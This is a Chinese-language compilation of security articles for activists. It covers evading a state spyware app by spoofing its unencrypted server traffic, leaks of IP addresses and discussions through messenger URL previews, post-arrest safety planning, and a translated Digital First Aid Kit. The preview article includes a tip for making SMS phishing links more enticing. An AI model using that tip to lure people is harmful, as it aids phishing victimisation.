内置安全性

首先，我们需要了解这个间谍应用程序如何保护自己。从迄今为止的所有可用信息来看，答案是“它没有保护性措施”。这是一个非常简单的结论，因为该应用程序只通过 http 进行通信。

拦截 http 请求非常容易，无论是来自设备本身（如果您的手机已 root），还是在与设备连接到同一网络的计算机上使用网络嗅探工具。最有可能的是，很容易弄清楚应用程序如何通过终端服务器验证自身以及终端服务器如何使用应用程序验证自身。

很可能在任一方向都没有认证，这意味着任何方向的欺骗请求都很容易。这可能很难让人相信（考虑到像中国这样的国家将大量资源留给这样的侵入式技术），但实际情况是，如果开发此应用程序的人想要保护它免受外部篡改，那么使用 HTTPS 进行传输应该是首选。它便宜，简单，非常有效。缺乏 HTTPS 意味着它很可能在这个生态系统中没有实际的安全性，这对任何试图逃避它的人来说都是加分项。

嗅探来自此应用程序的所有流量，以确定它产生的请求/响应

这是第一步。通过观察离开此应用程序的流量（由于没有 SSL 加密，可以很容易地在网络中截获），您可以确定它向目标服务器发送的请求以及它预期返回的响应。了解底层 API 至关重要，由于缺少加密因此很容易得到。如果在任一方向上发生任何身份验证，也会让您知道。如果有，您至少可以看到完整的请求和响应，因此您很可能可以弄清楚如何欺骗它。

有可能存在一些难以逆向工程的认证来回反复，但同样，由于缺乏基本加密，我怀疑是否存在任何这样的东西被内置。

弄清楚该应用程序是否正在与域名或 **IP** 地址通信

应用程序正在与之通信的目标服务器可以通过 DNS 查询找到，也可以在应用程序中对其 IP 地址进行硬编码。如果是前者，您可以编辑 Android 手机的 DNS，将其重新指定给其他服务器，包括手机上运行的；如果是硬编码的 IP 地址，您同样必须将所有流量重定向到您的本地 Android 手机的 IP 地址（也许您可以使用 Android 执行此操作—可以使用其他操作系统，但您肯定必须 root 您的手机）。

设置替代服务器

然后，您设置一个响应所有请求的本地服务器，您必须让这台服务器在您的手机上运行，这样它始终可用。这不一定非常复杂（尽管取决于实际服务器交互的详细程度），因为您实际上并不需要关心保留任何数据，只需确保为所有请求提供有效的响应。

风险：# 该监视应用程序可能会自动更新（虽然您的模拟服务器可以阻止）并指向新的域/ IP 地址，突然删除您的保护；

- 如果你无意中阻止了自动更新，警察就有可能会注意到这点，并把你标记出来，从而发现你正在做的自我保护；
- 他们也可能会进行服务器端跟踪从而发现您正在做的事，因为他们没能在您的特定 IMEI 上找到任何数据（因为您的模拟服务器就像一个黑洞吸走了所有内容）。即使您发送了欺骗性请求，他们也可以通过更简单的方法来确定（请假设警察将在黑名单上的图像复制到了您的手机上，并发现这一监视应用没有能阻止/报告它）；
- 他们可能在应用程序本身进行了 root 检查

总之，这些都需要被考虑到。

还有一种叫 Orbot 的应用程序。Orbot 是一款免费的代理应用程序，可让其他应用程序更安全地使用互联网。 Orbot 使用 Tor 来加密您的互联网流量，然后通过在世界各地的一系列计算机中反弹来隐藏它。可以帮助您抵御威胁个人自由和隐私、机密业务活动和关系、以及常见的网络监控形式。

但是不确定中国当局是否能发现您安装了这样的保护性措施（有可能会发现，就像他们发现VPN 并阻止人们使用那样）而且，由于中国封锁了 Tor 的大多数网桥，直连是不方便也不安全的，所以需要前置代理。

如果您还有其他有效的方案，欢迎留言讨论。

原文

小心预览！ - iYouPort

护盾（AS）

URL 预览是大多数消息传递应用程序中的一个很好的功能。它们允许您将 URL 粘贴给朋友或同事，并具有您将要查看的网站的微缩视图。

缺点是，许多应用程序生成了这些预览而不知道幕后发生了什么。因为在某些情况下，这可能等同于您已经以自己不想要的方式泄露了 IP 地址。

不要忘了：当您浏览网站时，您的公共 IP 地址会被暴露。除非您使用 Tor 或 VPN 来隐藏它，否则这就是 Internet 的工作原理。

「图」

「图」

与消息传递应用程序中的 URL 预览的不同之处在于，您正在向网站所有者广播您正在讨论该网站，而不是仅仅浏览它。

上下文中这种微小而微妙的变化实际上是一个非常重要的区别。你很快就会明白为什么……

几年前，我正在进行一项渗透测试，我尝试在欧洲一家知名公司担任高管。他们拥有我见过的最杰出的首席信息安全官之一，以及一支非常出色的事故响应团队。

在我发送了第一轮钓鱼邮件之后，我正在监视命令和控制服务器，以查找来自用户的连接。几个小时都没有太多活动，直到我的网络服务器从一个解析回Skype的 IP 地址收到了连接。这对我来说是一个WTF时刻，因为我的网络钓鱼服务器是全新的，似乎没有一个很好的理由解释为什么会出现这个连接。

几分钟后，又出现了来自另一台 Skype 服务器的另一次点击。现在我真的很想知道发生了什么。

我忽然明白了，有人在 Skype 聊天期间讨论我的命令和控制系统，Skype 正在生成我设置的网络钓鱼站点的预览。我使用自己的 Skype 帐户进行了几次快速测试，果然，我可以轻松地重现这种状况。后来我才知道是事件响应小组在讨论我的钓鱼链接。

但在涉及在线调查、事件响应和运行秘密在线操作时，这种情况会引发更大的问题。

这里有两个观点：一个是从调查的角度来看，第二个是从你通过网站进行秘密行动的角度来看。从调查的角度来看，如果您与其他调查员来回传递 URL，您最终可能会通知您的目标您正在谈论他们。这正是我在测试期间发现的，你可能不希望这种情况发生。

第二个观点是您运行网站进行隐蔽的在线操作。您可以监控这些网址预览，并确定有人正在讨论您的网站，可能会让您知道您的诡计正在发挥作用，或者您是不是有可能被抓获（同样，上下文非常重要且基于任务）。

无论哪种方式，它都是可以被观察到的一组独特的行为，而不是一般的浏览活动。

我对各种消息传递客户端和服务进行了快速测试。测试只是在 Digital Ocean Droplet 上设置一个 Python Web 服务器（每月5美元计划就足够了）。 Python Web 服务器只打印出连接客户端的 IP 地址和标头。我还设置了特定于此测试的 DNS 记录以便我可以尝试使用IP地址与域名。 WhatsApp 是唯一经过测试的对IP地址和域名响应不同的服务。其他所有服务都很乐意为IP地址生成预览。使用 HTTP 或 HTTPS URL 也没有区别。

以下是调查结果摘要：

Slack：Slack 很高兴生成URL预览并使用以下 User-Agent 标识自己：User-Agent: Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots) 请求的IP地址来自我公开的IP地址，通过我的办公室连接，在移动和桌面版本的 Slack 中。

Apple Messages：Messages 是一个有趣的测试，有一些非常独特的行为。如果您在桌面/笔记本电脑上的 Messages 发布链接，它将直接从您的公共 IP 地址生成预览，如预期的那样。User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.4

facebookexternalhit/1.1 Facebot Twitterbot/1.0 非常有趣的是你在那里可以看到 Facebot 和 Twitterbot ！

如果您要向目标发送 SMS 网络钓鱼，您可以通过确保您拥有一个名为 apple-touch-icon-precomposed.png 的文件来增强 URL 预览体验。消息应用程序将在确定可以成功访问目标网页后尝试检索此文件。此文件将用于生成的预览中，并有助于吸引目标点击该链接。它也可以是一种确认 Messages 是首先进行 URL 预览的应用程序的方法。

Wire：很有趣，当您从桌面和移动电话上的应用程序发布 URL 时，您的公共IP地址将显示在日志中。但是，没有显示的 User-Agent 标头。事实上，Wire 发送的唯一标头是：Connection: close 所以这本身很有趣，因为你的许多 HTTP 客户端（浏览器，抓取工具，bots 等）都会发送额外的标头。通过 Wire 后确实变成了“告诉”，也许某人正在 Wire 应用程序中讨论目标站点。

请注意，在 Wire 中，首选项 →选项中有一个设置，名为“为您发送的链接创建预览”。如果禁用此选项，将阻止 Wire 执行这些 URL 预览。我建议你这样做。感谢 Michael Bazzell 对此提供的帮助。

Facebook：它使用 Facebook 拥有的基础设施来访问该网站进行预览。User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) 它不使用您的公共IP地址，但确实表明有人在其 Facebook 个人资料上发布了指向目标网站的链接，或者已经通过 Facebook Messenger 发送了该链接。您看到的IP地址将被注册到 Facebook，因此您可以使用 ipintel.io 等网站进行查找。

WhatsApp：WhatsApp 的行为与其他服务有所不同。它不直接预览P地址，但如果您键入域名（和任何端口）它将尝试进行 URL 预览。此外，当您键入目标页面的 URI 时，它会执行连续请求，从而产生大量流量。看起来是这样的：User-Agent: WhatsApp/0.3.1649 N 请求来自您的公共IP地址。

对其他应用来说在粘贴链接或键入 URL 时未生成任何预览或流量。当然你应该自己测试一下来验证。

您可以采取一些措施来帮助降低风险：

取消 URL—只是用其他字符替换点和冒号或使用括号的方法。一个

例子：

正常是这样：https://www.hunch.ly

改装后是这样：hxxps:*www[.]hunch[.]ly* 使用安全的*VPN*—这是次要的建议，因为它不能缓解原始问题，但对于正在暴露您的公共*IP*的服务，至少能掩盖。 *How To Blow Your Online Cover With URL Previews? The difference with URL previews in messaging applications is that you are broadcasting to the website owner that you are discussing the website, as opposed to just browsing to it.* 原文

当您准备像编程随想那样工作...：须知 - iyouport

护盾（AS）自我保护措施-技术技巧以防身

安全问题不是纯粹的技术问题。对安全的普遍误解导致了很多难以被察觉的安全漏洞。这些漏洞可能没有简单的 "补丁"。

【注】如果文中导图看不清楚，请右键选择“新建标签页打开”。或者，您可以在这里下载。

失踪已久的前著名华语博主“编程随想”，于近日终于有了比较确切的消息—— 正如很多人所担心的那样，失踪意味着发生了糟糕的事，他被捕了，而且还被判了刑。

「图」

如果此时有任何人感觉到自己的头脑中充满了安全性虚无主义的噪音，请不要自责，这是正常的。“专家都被抓到了，我等菜鸟还能幻想什么”……

但这样想至少毫无作用。

因为，安全问题不是纯粹的技术问题，就如安全这个词本身所描述的东西一样，它是一个系统，一种状态；于是它的结果取决于协调性，而非其中某个/或某几个部分的专业性。

同时，不幸的是，局部的专业性过高有可能降低（而不是提升）整体的协调性。

「图」

本文不是文章，只是一个帖子。它可能非常不完整（毕竟没有卷宗可查）；但也许可以补充一些编程随想博客可能没有涉及的内容。此外我们也正在准备一本书，希望能更详细地讲述安全这个问题。

在收到起诉书全文之前，我们发布了一个帖子如下。大概需要解释一下：起诉书只能确认判决事件，但起诉书中所描述的侦查细节，建议谨慎取信。对刑侦过程/手段的调查，是另一项任务 —— 是更重要的任务，对所有政治犯的案件来说都是如此，不论当事人最终有没有被起诉。

「图」

关于最普遍的安全漏洞

「图」

在安全方面，中国的前线工作者有两个方面的弱点，比较严重：

—— 第1个弱点：对对手的了解不足 ——

「图」

您肯定知道 “知己知彼” 这一重要的战术智慧。您的对手拥有巨大的特权、充足的预算、无下限的卑劣，以做到长期、持续、深入地了解您，甚至可以预测您的行为。而您对他们了解多少呢？

这里存在一个严重的不平衡。您在明，他们在暗。

缺少的可能不是吹哨和调查，而是满足前线社区反抗战略的吹哨和调查。这至关重要。

我们对此的弥补方案，是努力分析其他国家的镇压手段（内容在 列表-5 “维稳面面观” 、以及 “反抗者寻求经验” 中）。鉴于统治者所拥有的基础设施大同小异，这可以有所帮助，但肯定不充分，前线工作者需要了解对手在什么样的情况下倾向于怎么做。

如此，您便既可以 “制造” 某种情况，以引诱对手那样去做，也可以避免某种情况的发生，以改变事态走向；甚至还有可能从中了解到对手可能的漏洞，以利用来维护自己的安全。

在其他很多国家，反对派组织是很擅长做这类事的，他们在努力保护自己的秘密的同时，揭开对手的秘密。这也正是 “较量” 这个词所描述的意思。

举个例子：您知道自己在什么情况下会被监视锁定吗？—— 我指的是

刑侦中的监视工作，您知道被锁定的人会经历什么吗？监视者的目的是什么？他们的工作流程是什么？……

我来画一个图，以最简化的方法描述俄罗斯镇压机构是如何做这件事的。在您的国家它应该大同小异：

「图」

您能画一个中国版吗？

不必画给我。只给那些与您实际合作的亲密队友。知情对你们来说至关重要。

以上只是一个例子。您需要知道的东西挺多的。请保持战略目标的清晰。

—— 第2个弱点：孤独 ——

「图」

孤独是巨大的安全隐患。

令您深陷孤立无援的恐慌，是您的对手始终致力于采取的镇压策略。

人们被渗透和出卖的故事吓坏了。很多担忧是有道理的，但仅仅担忧就没有道理了，因为它只会起到反作用。当您草木皆兵加倍孤单的时候，就是您的对手可以对您最随心所欲的时候。

（我们有过很多关于如何抵制渗透的技巧介绍，比如这里、这里、这里、还有这里）

您需要至少一位贴心战友 —— 更好的是 亲密团队。

阮先生的案件之所以变得“疑点重重”，甚至一大群人因为猜想而发生争执，正是因为阮先生对紧急状况的准备似乎严重不足 —— 这绝不是额外的工作，它就是“安全”工作本身的重要部分！

这一“准备”工作应该至少包括以下4个步骤：# 明确威胁环境；

- 明确您最需要的帮助；
- 确定至少一位贴心战友 —— 作为紧急联络人，至关重要！
- 准备具体的材料。

1. 能力 ＝ 有助于使您更安全地抵御特定的威胁的因素（即 降低其可能性或影响）

- 脆弱性 ＝ 会使您更容易受到威胁（即 增加了威胁的可能性或影响）

这里有一个公式，您需要记住：

风险 ＝ 威胁 ×弱势 ÷ 能力

威胁指的是您的对手所采取的任何手段以试图让您相信他们将不惜一切代价阻止您。

弱势指的是，您知道在那些威胁面前，您自身有哪些弱点（这是需要弥补的部分）。

值得指出的是，可能与很多朋友的认识相反，使用假名或者匿名工作在这里应该被列为 “弱势”，而不是“能力”。

因为，首先，假名或匿名意味着，人们知道您做的那些事，但不知道您的名字和身份，于是当局就有可能趁机栽赃给您的真实身份以其他罪名，而否认您是因政治原因而遭受迫害。

其次，如果您没有隶属于一个强大的组织，在您被强迫失踪的情况下，营救的希望将非常渺茫。

这就是为什么您必须有 **PlanB** 和紧急措施！匿名工作者孤军奋战是不可取的！具体做法见全文中的导图 —— 那**4**个步骤。

为了使用上面这个公式，我们先来确定几个定义：风险、威胁、能力、弱势。

1、风险—— 指发生伤害事件的可能性；

2、威胁—— 有意图对您造成损伤、处罚或者伤害的声明或者迹象（近期的或当即的）；

3、能力—— 可提高安全保障的任何资源（包括自身能力、人脉关系、可用的环境条件等）；

4、弱势—— 很可能直接造成或导致更大伤害的一切因素。

这里的施害者可能包括：政府、警察、间谍机构、大公司、利益集团的雇佣打手、极端保守派社区、严重误解您的事业和偏好的家属/父母，等等。

下面我来演示一下这件事该怎么做。以阮先生为例，请注意，目前为止我们对阮先生的现实生活依然一无所知，于是下图只演示这一评估的思考框架，其中所标注的具体事项完全是猜测的，它们只为体现做法，并非分析。

这一框架非常简单，只有4个部分，但是，您必须保持足够的谦逊和诚实，尽可能清晰且详细地描述，才能帮您制定更准确的防御策略：

「图」

先看右侧

「图」

再看左侧

「图」

措施

4

「图」

难度越大、越复杂，防御效果越好吗？绝对不是。

并不是说复杂的技术有任何问题 —— 请不要仅仅从技术逻辑上考虑 —— 复杂繁琐的解决方案不应该作为首选是因为，它们会让您难以长时间坚持住，您稍微一疲劳，就可能出错。在安全问题上，您出错的机会很可能只有一次。尤其是在您已经被镇压当局视为一个“肥美多汁的大鱼”的情况下。

真正的安全效果出现在您游刃有余的情况下。闭着眼就能做对的情况下。所以，它必须足够简单，需要特别记忆的东西越少越好！

曾经有读者询问如何追踪加密货币（我们介绍过相关知识），以测试隐私程度。但必须说，加密货币安全性是一个更为复杂的领域，在基本数字安全基础之上还有很多额外的知识。马上学是来不及的。如果

您不擅长这个领域，那就不要在最重要的/或者可能最危险的工作上选择加密货币。

换句话说，建议选取您容易上手的解决方案，而不是紧急学习新的复杂的技能。因为熟练操作，是最基本的安全保障。

当然肯定要鼓励您学习新的更好的技能，但是，要在您感觉安全的环境中、在您没有压力的情况下，慢慢学习，而不是在火烧眉毛的情况下临时照着教程画虎。

不管怎样，我们始终应该致力于实现隐私作为基本人权的标准。这意味着要追求只需很少的操作习惯调整，就能大幅提高安全水平的解决方案。因为人权必须是普遍的，而不是高技术技能掌握者的特权。

必须承认，数字技术有点门槛。很多需求者对网络上形形色色的安全建议的态度比较盲目，很难自行判断它们的恰当性和准确性。于是搜索排名就变得更危险了。这更需要安全建议提供者保持诚实！拿钱写软文的人，如果您觉得自己必须做这行，那么就去写一些牙膏袜子的软文吧，请不要涉及药品和软硬件，这是有可能危及生命的领域。

不论您是否擅长数字技术，建议您记得这个基本原理：少即是多。您下载的东西越少，您的攻击面就越小。完全没有必要把其他人推荐的“好东西”全装上，那样做只能是累赘，反而令您更危险。

再一次强调，对抗性思考方式至关重要！反追踪的最好方法就是，用追踪者的思考方式来检查自己。

最后

「图」

本案引起的所有猜想都是不必要的，不论其有没有或提供了多少证据。

它最初是一个强迫失踪案件，之后是一个政治审查案件。对于强迫失踪，这在全世界都是难题 —— 最终判刑的结果已经是其中“最好的”一种了，更糟的和并不罕见的是：暗杀。这就是为什么需要不断强调联合和互助，绝不鼓励单枪匹马。尤其是当您匿名工作时，单枪匹马是致命的！

看到一些读者在交流此事时倾向于认为警方“抓错人了”。希望真正的

博主没有被捕的那种心情可以理解，但是这会起到反作用 —— 它相当于承认 “对的那个人应该被抓”。不，没有任何人应该因发表评论而被判刑。阮先生究竟是不是 “编程随想本人”，没有那么重要，这里重要的是对政治异议言论的入罪。我们认为将此作为辩护方向，将是对 “编程随想本人” 的尊重。

当然，辩护方向由律师掌握，家属意见将作为重要参考，而不是公众舆论。

再一次，我们希望此案能提醒更多人对安全性的重视（而不是虚无主义），对安全作为一个系统的理解，体悟战术布局的智慧，未来更少出现这类事故。

□□

原文

我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包 - iYouPort

护盾（AS）自我保护措施-技术技巧以防身

找对了帮手，是解决问题的最重要一步

「图」

「图」

最近发现依旧有中国互联网用户习惯于使用百度这类流氓软件，结果被黑了。沮丧，多年来我们一直在提示危险性。普通用户的不小心最多是搞坏设备和被盗取私人信息（虽然这已经够呛了），如果您是敏感人士，不小心会导致您入狱，甚至牵涉到一群朋友的人身安全（不要和那些不重视安全问题的人走得太近）。

怎么办？这里推荐一个急救工具箱，希望能有更多人学会使用它。

Digital First Aid Kit 旨在帮助面临常见类型数字威胁的人提供初步支持。这一套件为面临攻击的人权维护者、博主、活动家和记者提供了一套自我诊断工具，并为数字急救人员提供指导，以帮助受到威胁的人。

当您或某个联系人面临数字威胁并希望寻求支持时，该工具包首先会建立安全通信的方式。然后继续探讨有关帐户劫持、设备查封、恶意软件感染和 DDoS 攻击的部分。

每个部分都以一系列有关您、您的设备和您的情况的问题开头。这些问题将指导您进行自我评估、或帮助第一响应者更好地了解您所面临的困境。然后，它列出了理解并可能解决问题的初始步骤。这些步骤还应该帮助您或第一响应者识别何时应该向专家请求帮助。

数字急救套件并不是您所有数字紧急情况的终极解决方案。但它致力于为您提供工具，帮助您首先评估正在发生的事，并确定您是否可以自行缓解难题。如果您对实施此处列出的解决方案感到不安或不确

定，请向经过培训的专业人员寻求帮助。

数字急救套件的灵感来自于：每个人都有能力采取预防措施，每个人都有能力帮助面临麻烦的同事和朋友。该套件的自我诊断质量还应使记者、博主、活动家和人权维护者能够了解他们的数字资产发生了什么，能够更快地确定何时应该寻求帮助，他们有什么样的帮助需要，并提高个人数字安全性。并且该工具包可以将那些最可能受到数字攻击的人列入第一响应者清单，也就是您可以更便利地获得支援。

数字急救工具包是 EFF, Global Voices , Hivos & the Digital Defenders Partnership , Front Line Defenders , Internews , Freedom House, Access , Qurium , CIRCL , IWPR , Open Technology Fund 和个人安全专家的共同努力（这些都是数字安全领域的国际知名组织，您很容易搜到关于他们的介绍）。数字安全和快速反应领域是一项正在进行中的工作，如果您是技术人员，想要添加内容、或者发表评论或提出问题，请访问 Github。

安全通信

本部分将为您提供有关在面临潜在数字攻击而寻求帮助时建立安全通信的方法的指导。作为一般规则，重要的是要了解大多数“普通”通信工具是不安全的。移动和固定电话通信不加密，可被政府、执法机构或其他拥有必要技术设备的人员窃听。发送未加密的通信就像发送明信片一样，任何有权访问明信片的人都可以阅读消息。

安全通信始终是安全性和便利性之间的权衡。选择最合适的安全通信形式取决于您的独特情况，威胁模型以及您参与的活动。Digital First Aid Kit 专门针对那些受到数字攻击的人，因此此处会假设您处于高风险之中。

最后，在沟通时有不同的安全级别。提供端到端加密的通信工具（如 PGP 加密的电子邮件，或在手机上使用 OTR 或 Textsecure 或 signal 聊天）是推荐的，那些传输层加密工具（如 Gmail，Facebook 或 Twitter）不安全，不该推荐。未加密的通信（如明信片，手机或短信）最好不要用。希望您利用现有的资源和技能，尽力做到最好。

寻求并提供远程帮助

当您从第三方寻求远程帮助时，请记住以下几点：

1.如果您认为您的某个设备或帐户出现了问题，并且您对下一步该做

什么感到不确定，请向您认为可以信任的经过培训的技术专业人员或（国际）国家组织寻求帮助。请不要依赖您在网上找到的不明身份的人。以下是您可以联系到的组织：

- EFF E：info [at] eff.org
- 前线防御者 E：info [at] frontlinedefenders.org
- CPJ E：info [at] cpj.org
- RSF E：internet [at] rsf.org
- 访问 E：help [at] accessnow.org
- PGP 密钥指纹：6CE6 221C 98EC F399 A04C 41B8 C46B ED33 32E8 A2BC
- 数字捍卫者伙伴关系 E：ddp [at] hivos.org
- 自由之家
- Internews
- IWPR
- 开放技术基金 E：info [at] opentechfund.org
- PGP 密钥指纹：67AC DDCF B909 4685 36DD BC03 F766 3861 965A 90D

2. 在寻求帮助时，还要记住您使用的设备可能是攻击的对象。为了与可以帮助您的人建立安全的通信线路，需要通过备用的值得信赖的设备与他们联系。

帐户劫持

您在访问电子邮件、社交媒体或网络帐户时遇到问题吗？帐户是否显示您无法识别的活动？您可以采取许多措施来缓解此问题。

首先回答一些简单的问题，如下：

- 您遇到哪些服务有问题？
- 您是唯一使用该帐户的人吗？有时，多人可访问 Facebook 群组页面，WordPress 博客或电子邮件帐户。如果有多人可访问此帐户，请首先检查您的朋友或同事是否更改了权限。
- 用户名和帐户的 URL 是什么？
- 您无法访问自己的帐户吗？
- 你能看到其他人使用你的账户吗？
- 您收到过警报或有朋友/联系人收到似乎来自您的奇怪消息吗？
- 你在这个问题上看到了什么其他证据？

缓解问题的第一步：

如果您仍然可以访问该帐户，请移动到另一台计算机—您认为安全的计算机。登录并更改您帐户的密码。然后转到以下步骤：

步骤1：停止使用此帐户进行敏感信息的交换，直到您更好地了解情况为止。

第2步：如果可能，请查看连接历史记录/帐户活动（Facebook，Gmail 和其他电子邮件平台的可用功能）。检查您的帐户是否在您不在线时使用过，或者是否从不熟悉的位置或 IP 地址访问过您的帐户。

第3步：查看帐户设置。设置被改变了吗？对于电子邮件帐户，请检查电子邮件中的自动转发，电话号码备份/重置电子邮件地址，与不同设备（包括电话、计算机或平板电脑）的同步，应用程序权限或其他帐户权限。

第4步：更改链接到此帐户的所有其他在线帐户的密码。例如，如果您正在查看电子邮件帐户，并且该帐户是另一个帐户的恢复地址，那么请立即更改该帐户的密码。

第五步：不要停在这里，请按照以下重要步骤操作。

如果您无法再访问该帐户：

遵循不同提供商的恢复程序。请注意，不同的服务有不同的方法来重置您帐户的密码。有些服务会使用您的辅助邮箱地址向您发送更改密码的链接，而其他的会将其重置为上一个密码。在重置案例中，重新获得帐户访问权限后立即更改密码非常重要。如果这些步骤不起作用且您的帐户被滥用，请与上面列出的某个组织联系，以获取关闭帐户的支持。

设备被抢占

你的设备丢了吗？是否被第三方窃取了？或者被警方扣押了？在任何这些事件中，非常重要的是要清楚地了解发生的事，可能导致哪些类型的数据和帐户容易受到攻击，以及必须采取哪些措施来防止泄露和滥用您的信息、联系人和帐户。

首先回答一些简单的问题：

- 发生了什么？
- 你丢了什么样的设备？电脑，手机，平板电脑还是外接硬盘？

- 您何时何地丢失了该设备？
- 你是怎么丢失这个设备的？被另一个人偷走了，被国家当局占用了？还是你只是忘记放哪儿了？

该设备有哪些安全保护？

- 设备是否受密码或其他安全措施保护？
- 设备上运行的是哪个操作系统？这是合法版本吗，还是非法的，越狱的或 root 版？
- 设备是否已打开完整磁盘加密？
- 丢失时你的设备处于什么状态？你登录了吗？设备是否打开但密码已锁定？是睡眠还是锁屏？或者完全关机？
- 您是否可以远程访问设备？

设备上有什么？

- 清点设备上的不同类型的敏感信息。示例包括电子邮件，聊天记录，社交媒体，联系人（电子邮件，聊天软件等），文件，位置数据，信用卡数据等。
- 它使用什么样的基础软件，即 Windows，OS X，Android，iPhone？
- 您是否使用加密工具进行电子邮件或聊天（例如 PGP 或 OTR）？
- 该设备可以访问哪些帐户？包括设备可以访问的电子邮件，社交媒体，聊天，即时消息和银行帐户，已将密码保存到帐户的浏览器，可显示您的互联网浏览历史记录的 Cookie，身份验证令牌（如 iPhone 上的指纹解锁），以及使用该设备的帐户用于二次认证的功能。
- 您的帐户是否已保存密码和/或自动登录？这在电子邮件，Skype和其他聊天程序中很常见，或者如果您将密码保存在了 Web 浏览器中而不是像 KeePass 这样的密码管理器中？

缓解问题的第一步：

如果您的设备仍然丢失或被第三方占用无法收回，则首先要采取的步骤如下：

第1步：当您的设备可以访问帐户（电子邮件，社交媒体或网络帐户）时，为所有帐户删除此设备的授权。这可以通过在线转到您的帐户并更改帐户权限来完成。

第2步：更改此设备可访问的所有帐户的密码。

第3步：为此设备可访问的所有帐户启用两步身份验证。请注意，并非所有帐户都支持两步验证。不支持的最好放弃它。

第4步：如果您在丢失的设备上安装了工具，可以删除设备的数据和历史记录，请离开使用它。

如果你找回了设备

如果您已经取回了设备，请小心！因为您不知道谁动过它。根据您所面临的风险级别，您应该将该设备视为现在不受信任或受到损害。问自己以下问题并评估设备遭到入侵的风险：

– 该设备离开您的时间有多长？

– 谁有可能获得它？

– 他们为什么要访问它？

– 是否有迹象表明设备已被物理篡改？

如果您长时间与设备失去联系，并且您认为有可能被安装了某些东西，请考虑以下事项：

- 计算机：从头开始重新安装操作系统，并从上次的备份中恢复所有文档，并且要使用防病毒软件扫描所有文档和文件。
- 手机和平板电脑：建议您不要再次使用手机或平板电脑。如果您无法更换设备，但怀疑它可能会受到损害，请采取预防措施，不要使用这部手机或平板电脑进行敏感通信或打开敏感文件。在参加敏感会议时不要随身携带，不要在讨论敏感话题时随身携带。

恶意软件

“恶意软件”可以令其他用户、政府或第三方未经授权接管您的设备，以执行监控，例如记录击键，窃取密码，截屏，录制音频，视频等。目前国家赞助的攻击者正越来越多地将恶意软件作为监视、间谍和破坏的工具。恶意软件用于获取设备控制权，利用对设备的访问来发送垃圾邮件，窃取银行、电子邮件或社交媒体凭据，关闭网站，并从记者、人权维护者、非政府组织、活动家和博主那里收集重要信息。

如果您怀疑设备上存在恶意软件感染，您可以执行以下操作：

首先回答一些简单的问题：

- 您确定这不是帐户劫持或密码泄露？
- 您的妥协指标是什么？

什么是妥协指标？—— 您可能认为您的设备感染恶意软件的原因有很多; 这些就被称为“妥协指标”。它们可能包括以下内容：

- 您打开了一个您认为可能是恶意的附件或链接；
- 不使用网络摄像头时，您的网络摄像头 LED 会亮起来；
- 即使您更改了密码，您的帐户也多次遭到入侵；

如果出现以下情况，您可能还有理由怀疑您的设备是否感染了恶意软件：

- 您的设备被扣押，然后被退还；
- 有人闯入你的家，可能已经篡改了你的设备；
- 您的一些个人数据已被公开，那些数据只能是来自您的个人计算机；
- 您的团队成为政府、执法部门或具有同等能力的攻击者的目标；

缓解问题的第一步：

在确认它不是帐户劫持并且有明确的妥协指示后，有两种方法：清洁您的设备或了解攻击类型然后再清理您的设备。找出发生了什么、以及谁伤害你，对你来说不那么重要。但是，了解您的对手，他们的技术能力以及潜在的攻击者（政府实体或其他第三方）是否已知使用了互联网监控技术，可能非常有价值。如果了解攻击者和攻击与您相关，那么在您“清理”计算机之前收集和分析有关潜在恶意软件感染的信息，这点至关重要。否则，建议采用一级分析师的步骤，请继续执行以下部分。

‘清洁’你的设备

如果您选择在不了解恶意软件和攻击的情况下清理设备，请记住以下几点：#没有非常快速的修复方法。即使在完成以下步骤之后，仍可能存在非常复杂的恶意软件感染。当然，这些步骤足以删除您可能遇到的大多数恶意软件，除非您被非常高级的攻击者作为攻击目标了。

- 如果您认为自己是国家级攻击者的目标，并且在清除通过以下步骤检测到的病毒后仍然存在妥协指标，请将其与互联网断开连接，关闭设备，拔下电源插头，如果可能，请取出电池并寻找安全专业人员的帮助。

1. Microsoft 安全扫描程序（Windows）

- F-Secure
- 卡巴斯基
- ClamXav（Mac OS X）
- 趋势科技 TrendMicro
- ClamAV（Windows 和 Linux）

1. 第1步：确保您的防病毒软件是最新的

- 第2步：截取消息的屏幕截图
- 步骤3：继续执行建议的步骤以删除病毒
- 第4步：按照上面“安全通信”部分中的指导原则，将屏幕截图发送给具有安全专业知识的技术人员

1. 谁建立了你的网站？他们可以提供帮助吗？

- 谁是您的网络托管服务提供商？如果你不知道，可以使用一个工具以帮助查找。
- 您是否拥有此帐户提供商的帐户登录信息？
- 你在哪里购买了域名？在某些情况下是指您的网站主机，但也可能是另一家公司的；
- 您是否拥有域名服务的登录详细信息？如果没有，找到这些是恢复网站的第一步；
- 还有谁知道或可能有权访问这些帐户详细信息？

1. 您的网络托管服务器有效但网站不可用吗？检查 http://www.isup.me/-您的网站可能已启动但无法看到它。这是一个网络问题，您自己的 internet 连接可能存在问题或阻止您访问您的网站。这也可能表示您的帐户已被停用：是否看到来自您的网络托管服务提供商的邮件？可能是因为结算，法律，版权或其他原因而被下线。这是一个政策问题。首先，请确保您的结算信息是最新的，并且您的托管服务或您的域名没有未结余额。如果该消息是由于法律问题引起的，那么 EFF 提供的资源在关注美国版权法的同时，也是了解更多信息的好地方。

- 您的网站根本没有加载吗？您的托管公司可能有问题。你能访问托管公司的网站吗？请注意，这不是您自己网站的管理部分，而是托管您网站的公司或组织的管理部分。查看或搜索“状态”博客（例如 status.dreamhost.com）；还可以在 twitter.com 上搜索其他讨论主机停机时间的用户（搜公司名称）
- 您是否可以访问与您的网站具有相似内容的其他网站？尝试访问与您相关的网站或涵盖类似问题。也可以尝试使用 Tor 或 Psiphon 访问您的网站。如果这有帮助，说明您遇到的是阻塞问题—就是您的国家和地区出现了网络封锁。
- 你看到了错误信息吗？这可能是一个软件问题。您应该反思团队最近可能做出的任何更改，并与您的网站管理员联系。发送屏幕截图给他们。您也可以将错误消息复制到搜索中，以查看它们是否易于修复。
- 您是否从浏览器收到了有关您自己网站上的恶意软件的警告？这可能是一个污损问题。您需要与您的网络托管服务提供商合作，并查看帐户劫持部分。
